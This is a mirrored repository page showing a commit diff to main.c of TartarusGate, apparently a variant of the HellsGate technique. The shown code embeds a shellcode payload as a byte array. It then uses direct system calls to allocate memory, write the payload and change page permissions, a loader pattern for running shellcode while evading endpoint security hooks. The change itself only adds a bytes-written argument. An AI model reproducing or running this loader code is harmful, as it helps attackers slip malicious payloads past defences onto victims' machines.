admin/trickster0-TartarusGate
1
0
Fork 0
mirror of https://github.com/trickster0/TartarusGate synced 2026-06-08 17:55:29 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update main.c

Browse Source
This commit is contained in:
Thanasis Tserpelis
2022-01-25 22:54:28 +02:00
committed by GitHub
parent b1204842be
commit ebe05eafd5
1 changed files with 2 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
HellsGate/main.c
+2 -3
View File
@@ -243,15 +243,14 @@ BOOL Payload(PVX_TABLE pVxTable) {
0xca ,0xd0 ,0x69 ,0xf9 ,0xb3 ,0x11 ,0x18 ,0xc4 ,0x1f ,0x82 ,0x93 ,0x31 ,0xa7 ,0xff ,0x1a,
0x0b ,0x50 ,0x72 ,0xb3 ,0x13 ,0xbc ,0x02 ,0xdc ,0x98 ,0x77 ,0x36 ,0x2d ,0x86 ,0x6f ,0x4f,};
unsigned int payload_len = sizeof(payload);
NTSTATUS status = 0x00000000;
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(payload);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
ULONG writtenBytes = 0;
HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, lpAddress, payload, sizeof(payload), 0);
status = HellDescent((HANDLE)-1, lpAddress, payload, sizeof(payload), &writtenBytes);
//VxMoveMemory(lpAddress, payload, sizeof(payload));
// Change page permissions
ULONG ulOldProtect = 0;